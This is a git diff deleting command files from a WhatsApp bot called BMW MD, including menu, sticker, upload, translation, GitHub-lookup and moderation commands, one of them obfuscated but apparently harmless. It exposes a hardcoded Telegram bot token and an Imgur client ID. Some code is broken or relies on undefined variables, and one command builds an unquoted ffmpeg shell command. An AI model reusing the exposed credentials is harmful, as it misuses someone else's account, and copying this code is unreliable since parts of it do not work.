- .catch((error) => {console.log("Error:", error)
- repondre(error)});
-
-
-
- } catch (error) {
- console.error('Erreur lors du téléchargement de la vidéo :', error);
- repondre('Erreur lors du téléchargement de la vidéo.' , error);
- }
-});
-**/
diff --git a/scs/bmwcmd.js b/scs/bmwcmd.js
deleted file mode 100644
index c40e06e..0000000
--- a/scs/bmwcmd.js
+++ /dev/null
@@ -1,169 +0,0 @@
-
-const util = require('util');
-const fs = require('fs-extra');
-const { adams } = require(__dirname + "/../Ibrahim/adams");
-const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../config");
-const more = String.fromCharCode(8206)
-const readmore = more.repeat(4001)
-
-adams({ nomCom: "cmd", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../Ibrahim//adams");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault("Africa/Nairobi");
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- let infoMsg = `
- *Hey🖐️* *${nomAuteurMessage}*
-
- *BMW MD IS RUNNING WITH [${cm.length}0] COMMANDS*
-
- *More commands will be out soon*
-
- 🚘🚘🚘
- `;
-
-let menuMsg = `
-> ⏲️ ᴛɪᴍᴇ: ${temps}
-> 📅 ᴅᴀᴛᴇ: ${date}
-
-
-> Made by : ©Ibrahim Adams
-`;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});
-
-
-/*const util = require('util');
-const fs = require('fs-extra');
-const { zokou } = require(__dirname + "/../framework/zokou");
-const { format } = require(__dirname + "/../framework/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../set");
-const more = String.fromCharCode(8206)
-const readmore = more.repeat(4001)
-
-zokou({ nomCom: "script", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../framework//zokou");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault('Etc/GMT');
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- let infoMsg = `
- *BMW MD IMPORTANT INFO*
-❒───────────────────❒
-*GITHUB LINK*
-> https://github.com/ibrahimaitech/BMW-MD
-
-*WHATSAPP CHANNEL*
-> https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y
-
-*FOR MORE INFO TAP ON THE LINK BELOW*
-> https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO
-╭───────────────────❒
-│❒ *RAM* : ${format(os.totalmem() - os.freemem())}/${format(os.totalmem())}
-│❒ *DEV* : *Ibrahim Adams*
-╰───────────────────❒
- `;
-
-let menuMsg = `
- 𝑰𝑩𝑹𝑨𝑯𝑰𝑴 𝑨𝑫𝑨𝑴𝑺 𝑺𝑪𝑰𝑬𝑵𝑪𝑬
-
-❒────────────────────❒`;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *Beltahmd*, déveloper Beltah Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});*/
diff --git a/scs/bmwcmds.js b/scs/bmwcmds.js
deleted file mode 100644
index 69dea5c..0000000
--- a/scs/bmwcmds.js
+++ /dev/null
@@ -1,2 +0,0 @@
-
-const _0x52f686=_0xbf0b;function _0xbf0b(_0x391867,_0x3fd588){const _0x679074=_0x6790();return _0xbf0b=function(_0xbf0b42,_0x55b571){_0xbf0b42=_0xbf0b42-0x1a7;let _0x3f68fa=_0x679074[_0xbf0b42];return _0x3f68fa;},_0xbf0b(_0x391867,_0x3fd588);}(function(_0x197893,_0x4de6c2){const _0x58d7c6=_0xbf0b,_0x383157=_0x197893();while(!![]){try{const _0x2f2628=parseInt(_0x58d7c6(0x1b5))/0x1+parseInt(_0x58d7c6(0x1cc))/0x2+parseInt(_0x58d7c6(0x1b6))/0x3+parseInt(_0x58d7c6(0x1c0))/0x4*(-parseInt(_0x58d7c6(0x1d2))/0x5)+-parseInt(_0x58d7c6(0x1c3))/0x6*(parseInt(_0x58d7c6(0x1ca))/0x7)+-parseInt(_0x58d7c6(0x1bb))/0x8*(-parseInt(_0x58d7c6(0x1b2))/0x9)+-parseInt(_0x58d7c6(0x1ab))/0xa*(parseInt(_0x58d7c6(0x1ce))/0xb);if(_0x2f2628===_0x4de6c2)break;else _0x383157['push'](_0x383157['shift']());}catch(_0x4a13de){_0x383157['push'](_0x383157['shift']());}}}(_0x6790,0xcb284));function _0x6790(){const _0x190b74=['log','util','420QGfXfa','*╭────❒*\x20*','private','HH:mm:ss','match','map','setDefault','117svNpqA','categorie','\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20','1414471rqDCcA','4091628dkOjdX','/../config','nomCom','fs-extra','sendMessage','310952KdopCr','moment-timezone','/../Ibrahim/adams','commands','Africa/Nairobi','212rxzYwc','MODE','*\x20*❒*','31614LvDfqa','public','DD/MM/YYYY','format','General','\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x20','push','1043Krhmsw','repeat','1169918iKSwEv','🥵🥵\x20Menu\x20erreur\x20','561638JZjwrM','fromCharCode','toLocaleLowerCase','\x20\x0a*THIS\x20COMMANDS\x20WILL*\x0a*HELP\x20YOU\x20KNOW\x20HOW*\x0a*TO\x20USE\x20ME*\x0a\x0a','10090iQAbYA','*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams','\x20\x20\x0a*╏*\x20','\x0a*╰─═════════════❒*\x20\x0a'];_0x6790=function(){return _0x190b74;};return _0x6790();}const util=require(_0x52f686(0x1aa)),fs=require(_0x52f686(0x1b9)),{adams}=require(__dirname+_0x52f686(0x1bd)),{format}=require(__dirname+'/../Ibrahim/mesfonctions'),os=require('os'),moment=require(_0x52f686(0x1bc)),s=require(__dirname+_0x52f686(0x1b7)),more=String[_0x52f686(0x1cf)](0x200e),Taphere=more[_0x52f686(0x1cb)](0xfa1);adams({'nomCom':_0x52f686(0x1be),'categorie':_0x52f686(0x1c7)},async(_0x20205d,_0x2723b9,_0x4f7b48)=>{const _0x29beab=_0x52f686;let {ms:_0x573ec4,repondre:_0x64ddf,prefixe:_0x1e27c0,nomAuteurMessage:_0x212e3a,mybotpic:_0xfc909a}=_0x4f7b48,{cm:_0x55d2f6}=require(__dirname+'/../Ibrahim//adams');var _0x5e4349={},_0x36dec9=_0x29beab(0x1c4);s[_0x29beab(0x1c1)][_0x29beab(0x1d0)]()!='yes'&&(_0x36dec9=_0x29beab(0x1ad));_0x55d2f6[_0x29beab(0x1b0)](async(_0x59d8bc,_0x5cc03a)=>{const _0x1388eb=_0x29beab;if(!_0x5e4349[_0x59d8bc['categorie']])_0x5e4349[_0x59d8bc['categorie']]=[];_0x5e4349[_0x59d8bc[_0x1388eb(0x1b3)]][_0x1388eb(0x1c9)](_0x59d8bc[_0x1388eb(0x1b8)]);}),moment['tz'][_0x29beab(0x1b1)](_0x29beab(0x1bf));const _0x18cd9e=moment()[_0x29beab(0x1c6)](_0x29beab(0x1ae)),_0x3bfad1=moment()[_0x29beab(0x1c6)](_0x29beab(0x1c5));let _0x24b795=_0x29beab(0x1d1),_0x1de705=_0x29beab(0x1c8);for(const _0x411e45 in _0x5e4349){_0x1de705+=_0x29beab(0x1ac)+_0x411e45+_0x29beab(0x1c2);for(const _0x3fdf8a of _0x5e4349[_0x411e45]){_0x1de705+=_0x29beab(0x1a7)+_0x3fdf8a;}_0x1de705+=_0x29beab(0x1a8);}_0x1de705+=_0x29beab(0x1b4);var _0x34d957=_0xfc909a();if(_0x34d957[_0x29beab(0x1af)](/\.(mp4|gif)$/i))try{_0x2723b9[_0x29beab(0x1ba)](_0x20205d,{'video':{'url':_0x34d957},'caption':_0x24b795+_0x1de705,'footer':_0x29beab(0x1d3),'gifPlayback':!![]},{'quoted':_0x573ec4});}catch(_0x5cf000){console[_0x29beab(0x1a9)]('🥵🥵\x20Menu\x20erreur\x20'+_0x5cf000),_0x64ddf(_0x29beab(0x1cd)+_0x5cf000);}else{if(_0x34d957[_0x29beab(0x1af)](/\.(jpeg|png|jpg)$/i))try{_0x2723b9[_0x29beab(0x1ba)](_0x20205d,{'image':{'url':_0x34d957},'caption':_0x24b795+_0x1de705,'footer':'Je\x20suis\x20*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams'},{'quoted':_0x573ec4});}catch(_0xb94b3d){console[_0x29beab(0x1a9)](_0x29beab(0x1cd)+_0xb94b3d),_0x64ddf(_0x29beab(0x1cd)+_0xb94b3d);}else _0x64ddf(_0x24b795+_0x1de705);}});
diff --git a/scs/bmwco.js b/scs/bmwco.js
deleted file mode 100644
index 14ad76c..0000000
--- a/scs/bmwco.js
+++ /dev/null
@@ -1,390 +0,0 @@
-//adams code
-
-const { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter');
-const { adams } = require("../Ibrahim/adams");
-const traduire = require("../Ibrahim/traduction");
-const { downloadMediaMessage, downloadContentFromMessage } = require('@whiskeysockets/baileys');
-const fs = require("fs-extra");
-const axios = require('axios');
-const { exec } = require("child_process");
-const ffmpeg = require("fluent-ffmpeg");
-const FormData = require('form-data');
-const { Catbox } = require('node-catbox'); // Import Catbox
-
-const catbox = new Catbox();
-
-async function uploadToCatbox(Path) {
- if (!fs.existsSync(Path)) {
- throw new Error("Fichier non existant");
- }
-
- try {
- // Use Catbox to upload the file
- const response = await catbox.uploadFile({
- path: Path // Provide the path to the file
- });
-
- if (response) {
- return response; // returns the uploaded file URL
- } else {
- throw new Error("Erreur lors de la récupération du lien du fichier");
- }
- } catch (err) {
- throw new Error(String(err));
- }
-}
-
-adams({ nomCom: "url", categorie: "General", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
- const { msgRepondu, repondre } = commandeOptions;
-
- if (!msgRepondu) {
- repondre('mention a image or video');
- return;
- }
-
- let mediaPath, mediaType;
-
- if (msgRepondu.videoMessage) {
- const videoSize = msgRepondu.videoMessage.fileLength; // Get the video size in bytes
-
- // Check if the video size exceeds the limit (e.g., 50MB = 50 * 1024 * 1024 bytes)
- if (videoSize > 50 * 1024 * 1024) {
- repondre('The video is too long. Please send a smaller video.');
- return;
- }
-
- mediaPath = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage);
- mediaType = 'video';
- } else if (msgRepondu.imageMessage) {
- mediaPath = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage);
- mediaType = 'image';
- } else {
- repondre('reply to an image or video');
- return;
- }
-
- try {
- const catboxUrl = await uploadToCatbox(mediaPath);
- fs.unlinkSync(mediaPath); // Supprime le fichier après utilisation
-
- // Respond with a custom message based on media type
- if (mediaType === 'image') {
- repondre(`Below is your image URL:\n${catboxUrl}`);
- } else if (mediaType === 'video') {
- repondre(`Below is your video URL:\n${catboxUrl}`);
- }
- } catch (error) {
- console.error('Error while creating your url:', error);
- repondre('Oops error');
- }
-});
-
-adams({nomCom:"sticker",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
-
-let {ms,mtype,arg,repondre,nomAuteurMessage}=commandeOptions
- var txt=JSON.stringify(ms.message)
-
- var mime=mtype === "imageMessage" || mtype === "videoMessage";
- var tagImage = mtype==="extendedTextMessage" && txt.includes("imageMessage")
- var tagVideo = mtype==="extendedTextMessage" && txt.includes("videoMessage")
-
-const alea = (ext) => {
- return `${Math.floor(Math.random() * 10000)}${ext}`;};
-
-
- const stickerFileName = alea(".webp");
-
-
- // image
- if (mtype === "imageMessage" ||tagImage) {
- let downloadFilePath;
- if (ms.message.imageMessage) {
- downloadFilePath = ms.message.imageMessage;
- } else {
- // picture mentioned
- downloadFilePath =
- ms.message.extendedTextMessage.contextInfo.quotedMessage.imageMessage;
- }
- // picture
- const media = await downloadContentFromMessage(downloadFilePath, "image");
- let buffer = Buffer.from([]);
- for await (const elm of media) {
- buffer = Buffer.concat([buffer, elm]);
- }
-
- sticker = new Sticker(buffer, {
- pack:"BMW-MD",
- author: nomAuteurMessage,
- type:
- arg.includes("crop") || arg.includes("c")
- ? StickerTypes.CROPPED
- : StickerTypes.FULL,
- quality: 100,
- });
- } else if (mtype === "videoMessage" || tagVideo) {
- // videos
- let downloadFilePath;
- if (ms.message.videoMessage) {
- downloadFilePath = ms.message.videoMessage;
- } else {
- downloadFilePath =
- ms.message.extendedTextMessage.contextInfo.quotedMessage.videoMessage;
- }
- const stream = await downloadContentFromMessage(downloadFilePath, "video");
- let buffer = Buffer.from([]);
- for await (const elm of stream) {
- buffer = Buffer.concat([buffer, elm]);
- }
-
- sticker = new Sticker(buffer, {
- pack:"BMW-MD", // pack stick
- author: nomAuteurMessage, // name of the author of the stick
- type:
- arg.includes("-r") || arg.includes("-c")
- ? StickerTypes.CROPPED
- : StickerTypes.FULL,
- quality: 40,
- });
- } else {
- repondre("Please mention an image or video!");
- return;
- }
-
- await sticker.toFile(stickerFileName);
- await zk.sendMessage(
- origineMessage,
- {
- sticker: fs.readFileSync(stickerFileName),
- },
- { quoted: ms }
- );
-
-try{
- fs.unlinkSync(stickerFileName)
-}catch(e){console.log(e)}
-
-
-
-
-
-
-});
-
-adams({nomCom:"scrop",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
- const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
-
- if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
- if(!(arg[0])) {
- pack = nomAuteurMessage
- } else {
- pack = arg.join(' ')
- } ;
- if (msgRepondu.imageMessage) {
- mediamsg = msgRepondu.imageMessage
- } else if(msgRepondu.videoMessage) {
-mediamsg = msgRepondu.videoMessage
- }
- else if (msgRepondu.stickerMessage) {
- mediamsg = msgRepondu.stickerMessage ;
- } else {
- repondre('Uh media please'); return
- } ;
-
- var stick = await zk.downloadAndSaveMediaMessage(mediamsg)
-
- let stickerMess = new Sticker(stick, {
- pack: Bmw-Md,
-
- type: StickerTypes.CROPPED,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(origineMessage, { sticker: stickerBuffer2 }, { quoted: ms });
-
-});
-
-adams({nomCom:"take",categorie: "Conversion", reaction: "👨🏿💻"},async(origineMessage,zk,commandeOptions)=>{
- const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
-
- if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
- if(!(arg[0])) {
- pack = nomAuteurMessage
- } else {
- pack = arg.join(' ')
- } ;
- if (msgRepondu.imageMessage) {
- mediamsg = msgRepondu.imageMessage
- } else if(msgRepondu.videoMessage) {
-mediamsg = msgRepondu.videoMessage
- }
- else if (msgRepondu.stickerMessage) {
- mediamsg = msgRepondu.stickerMessage ;
- } else {
- repondre('Uh a media please'); return
- } ;
-
- var stick = await zk.downloadAndSaveMediaMessage(mediamsg)
-
- let stickerMess = new Sticker(stick, {
- pack: BMW-MD,
-
- type: StickerTypes.FULL,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(origineMessage, { sticker: stickerBuffer2 }, { quoted: ms });
-
-});
-
-
-
-adams({ nomCom: "write", categorie: "Conversion", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
- const { ms, msgRepondu, arg, repondre, nomAuteurMessage } = commandeOptions;
-
- if (!msgRepondu) {
- repondre('Please mention an image');
- return;
- }
-
- if (!msgRepondu.imageMessage) {
- repondre('The command only works with images');
- return;
- } ;
- text = arg.join(' ') ;
-
- if(!text || text === null) {repondre('Make sure to insert text') ; return } ;
-
-
- const mediamsg = msgRepondu.imageMessage;
- const image = await zk.downloadAndSaveMediaMessage(mediamsg);
-
- //Create a FormData object
- const data = new FormData();
- data.append('image', fs.createReadStream(image));
-
- //Configure headers
- const clientId = 'b40a1820d63cd4e'; // Replace with your Imgur client ID
- const headers = {
- 'Authorization': `Client-ID ${clientId}`,
- ...data.getHeaders()
- };
-
- // Configure the query
- const config = {
- method: 'post',
- maxBodyLength: Infinity,
- url: 'https://api.imgur.com/3/image',
- headers: headers,
- data: data
- };
-
- try {
- const response = await axios(config);
- const imageUrl = response.data.data.link;
- console.log(imageUrl)
-
- //Use imageUrl however you want (meme creation, etc.)
- const meme = `https://api.memegen.link/images/custom/-/${text}.png?background=${imageUrl}`;
-
- // Create the sticker
- const stickerMess = new Sticker(meme, {
- pack: nomAuteurMessage,
- author: 'BMW-MD',
- type: StickerTypes.FULL,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
-
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(
- origineMessage,
- { sticker: stickerBuffer2 },
- { quoted: ms }
- );
-
- } catch (error) {
- console.error('Error uploading to Imgur :', error);
- repondre('An error occurred while creating the meme.');
- }
-});
-
-
-
-adams({nomCom:"photo",categorie: "Conversion", reaction: "👨🏿💻"},async(dest,zk,commandeOptions)=>{
- const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ;
-
- if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ;
-
- if (!msgRepondu.stickerMessage) {
- repondre('Um mention a non-animated sticker'); return
- } ;
-
- let mediaMess = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage);
-
- const alea = (ext) => {
- return `${Math.floor(Math.random() * 10000)}${ext}`;};
-
- let ran = await alea(".png");
-
-
- exec(`ffmpeg -i ${mediaMess} ${ran}`, (err) => {
- fs.unlinkSync(mediaMess);
- if (err) {
- zk.sendMessage(
- dest,
- {
- text: 'A non-animated sticker please',
- },
- { quoted: ms }
- );
- return;
- }
- let buffer = fs.readFileSync(ran);
- zk.sendMessage(
- dest,
- { image: buffer },
- { quoted: ms }
- );
- fs.unlinkSync(ran);
- });
-});
-
-adams({ nomCom: "trt", categorie: "Conversion", reaction: "👨🏿💻" }, async (dest, zk, commandeOptions) => {
-
- const { msgRepondu, repondre , arg } = commandeOptions;
-
-
- if(msgRepondu) {
- try {
-
-
-
- if(!arg || !arg[0]) { repondre('(eg : trt en)') ; return }
-
-
- let texttraduit = await traduire(msgRepondu.conversation , {to : arg[0]}) ;
-
- repondre(texttraduit)
-
- } catch (error) {
-
- repondre('Mention a texte Message') ;
-
- }
-
- } else {
-
- repondre('Mention a texte Message')
- }
-
-
-
-}) ;
diff --git a/scs/bmwcu.js b/scs/bmwcu.js
deleted file mode 100644
index ff1c267..0000000
--- a/scs/bmwcu.js
+++ /dev/null
@@ -1,29 +0,0 @@
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': 'github',
- 'reaction': '📃',
- 'categorie': "Search"
-},
- async (_0x52e003, _0x14d9f6, _0x5f1e4d) => {
- const _0x3c7f3f = _0x4f7595.join(" ");
- if (!_0x3c7f3f) {
- return _0x3b1d82("Give me a valid github username like: " + _0x4fdb82 + "github ibrahimaitech");
- }
- const _0x5d3fd3 = await fetch("https://api.github.com/users/" + _0x3c7f3f);
- const _0x546dd2 = await _0x5d3fd3.json();
- const _0x5892a1 = _0x546dd2.id;
- const _0x9d02ae = _0x546dd2.name;
- const _0x406595 = _0x546dd2.login;
- const _0x3a4d0f = _0x546dd2.bio;
- const _0x34623f = _0x546dd2.company;
- const _0x5b8e0e = _0x546dd2.location;
- const _0x24d738 = _0x546dd2.email;
- const _0x3a22e7 = _0x546dd2.blog;
- const _0x170599 = _0x546dd2.repos_url;
- const _0x1ada1e = _0x546dd2.gists_url;
- const _0x1f7a0c = _0x546dd2.followers;
- const _0x86d2d1 = _0x546dd2.following;
- await _0x3b1d82("\n °GITHUB USER INFO°\n \n🚩 Id : " + _0x5892a1 + "\n🔖 Name : " + _0x9d02ae + "\n🔖 Username : " + _0x406595 + "\n✨ Bio : " + _0x3a4d0f + "\n🏢 Company : " + _0x34623f + "\n📍 Location : " + _0x5b8e0e + "\n📧 Email : " + _0x24d738 + "\n📰 Blog : " + _0x3a22e7 + "\n🔓 Public Repo : " + _0x170599 + "\n🔐 Public Gists : " + _0x1ada1e + "\n👪 Followers : " + _0x1f7a0c + "\n🫶 Following : " + _0x86d2d1);
-});
diff --git a/scs/bmwd.js b/scs/bmwd.js
deleted file mode 100644
index 43b22d7..0000000
--- a/scs/bmwd.js
+++ /dev/null
@@ -1,602 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-const axios = require("axios")
-let { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter');
-const {isUserBanned , addUserToBanList , removeUserFromBanList} = require("../lib/banUser");
-const {addGroupToBanList,isGroupBanned,removeGroupFromBanList} = require("../lib/banGroup");
-const {isGroupOnlyAdmin,addGroupToOnlyAdminList,removeGroupFromOnlyAdminList} = require("../lib/onlyAdmin");
-const {removeSudoNumber,addSudoNumber,issudo} = require("../lib/sudo");
-//const conf = require("../set");
-//const fs = require('fs');
-const sleep = (ms) =>{
- return new Promise((resolve) =>{ setTimeout (resolve, ms)})
-
- } ;
-
-
- adams({ nomCom: "tgs", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, arg, nomAuteurMessage, superUser } = commandeOptions;
-
- if (!superUser) {
- repondre('Only Mods can use this command'); return;
- }
- //const apikey = conf.APILOLHUMAIN
-
- // if (apikey === null || apikey === 'null') { repondre('Veillez vérifier votre apikey ou si vous en avez pas , veiller crée un compte sur api.lolhuman.xyz et vous en procurer une.'); return; };
-
- if (!arg[0]) {
- repondre("put a telegramme stickers link ");
- return;
- }
-
- let lien = arg.join(' ');
-
- let name = lien.split('/addstickers/')[1] ;
-
- let api = 'https://api.telegram.org/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/getStickerSet?name=' + encodeURIComponent(name) ;
-
- try {
-
- let stickers = await axios.get(api) ;
-
- let type = null ;
-
- if (stickers.data.result.is_animated === true ||stickers.data.result.is_video === true ) {
-
- type = 'animated sticker'
- } else {
- type = 'not animated sticker'
- }
-
- let msg = ` Bwm-md-stickers-dl
-
- *Name :* ${stickers.data.result.name}
- *Type :* ${type}
- *Length :* ${(stickers.data.result.stickers).length}
-
- Downloading...`
-
- await repondre(msg) ;
-
- for ( let i = 0 ; i < (stickers.data.result.stickers).length ; i++ ) {
-
- let file = await axios.get(`https://api.telegram.org/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/getFile?file_id=${stickers.data.result.stickers[i].file_id}`) ;
-
- let buffer = await axios({
- method: 'get', // Utilisez 'get' pour télécharger le fichier
- url:`https://api.telegram.org/file/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/${file.data.result.file_path}` ,
- responseType: 'arraybuffer', // Définissez le type de réponse sur 'stream' pour gérer un flux de données
- })
-
-
- const sticker = new Sticker(buffer.data, {
- pack: nomAuteurMessage,
- author: "Bwm-md",
- type: StickerTypes.FULL,
- categories: ['🤩', '🎉'],
- id: '12345',
- quality: 50,
- background: '#000000'
- });
-
- const stickerBuffer = await sticker.toBuffer(); // Convertit l'autocollant en tampon (Buffer)
-
- await zk.sendMessage(
- dest,
- {
- sticker: stickerBuffer, // Utilisez le tampon (Buffer) directement dans l'objet de message
- },
- { quoted: ms }
- );
- }
-
- } catch (e) {
- repondre("we got an error \n", e);
- }
- });
-
-adams({ nomCom: "crew", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, arg, auteurMessage, superUser, auteurMsgRepondu, msgRepondu } = commandeOptions;
-
- if (!superUser) { repondre("only modds can use this command"); return };
-
- if (!arg[0]) { repondre('Please enter the name of the group to create'); return };
- if (!msgRepondu) { repondre('Please mention a member added '); return; }
-
- const name = arg.join(" ")
-
- const group = await zk.groupCreate(name, [auteurMessage, auteurMsgRepondu])
- console.log("created group with id: " + group.gid)
- zk.sendMessage(group.id, { text: `Bienvenue dans ${name}` })
-
-});
-
-adams({ nomCom: "left", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage } = commandeOptions;
- if (!verifGroupe) { repondre("group only"); return };
- if (!superUser) {
- repondre("order reserved for the owner");
- return;
- }
-
- await zk.groupLeave(dest)
-});
-
-adams({ nomCom: "join", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage } = commandeOptions;
-
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
- let result = arg[0].split('https://chat.whatsapp.com/')[1] ;
- await zk.groupAcceptInvite(result) ;
-
- repondre(`Succes`).catch((e)=>{
- repondre('Unknown error')
-})
-
-})
-
-
-adams({ nomCom: "jid", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
-
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
- if(!msgRepondu) {
- jid = dest
- } else {
- jid = auteurMsgRepondu
- } ;
- zk.sendMessage(dest,{text : jid },{quoted:ms});
-
- }) ;
-
-
-
-adams({ nomCom: "block", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
-
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
-
- if(!msgRepondu) {
- if(verifGroupe) {
- repondre('Be sure to mention the person to block'); return
- } ;
- jid = dest
-
- await zk.updateBlockStatus(jid, "block")
- .then( repondre('succes'))
- } else {
- jid = auteurMsgRepondu
- await zk.updateBlockStatus(jid, "block")
- .then( repondre('succes')) } ;
-
- });
-
-adams({ nomCom: "unblock", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
-
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
- if(!msgRepondu) {
- if(verifGroupe) {
- repondre('Please mention the person to be unlocked'); return
- } ;
- jid = dest
-
- await zk.updateBlockStatus(jid, "unblock")
- .then( repondre('succes'))
- } else {
- jid = auteurMsgRepondu
- await zk.updateBlockStatus(jid, "unblock")
- .then( repondre('succes')) } ;
-
- });
-
-adams({ nomCom: "kickall", categorie: 'Group', reaction: "📣" }, async (dest, zk, commandeOptions) => {
-
- const { auteurMessage ,ms, repondre, arg, verifGroupe, nomGroupe, infosGroupe, nomAuteurMessage, verifAdmin, superUser,prefixe } = commandeOptions
-
- const metadata = await zk.groupMetadata(dest) ;
-
-
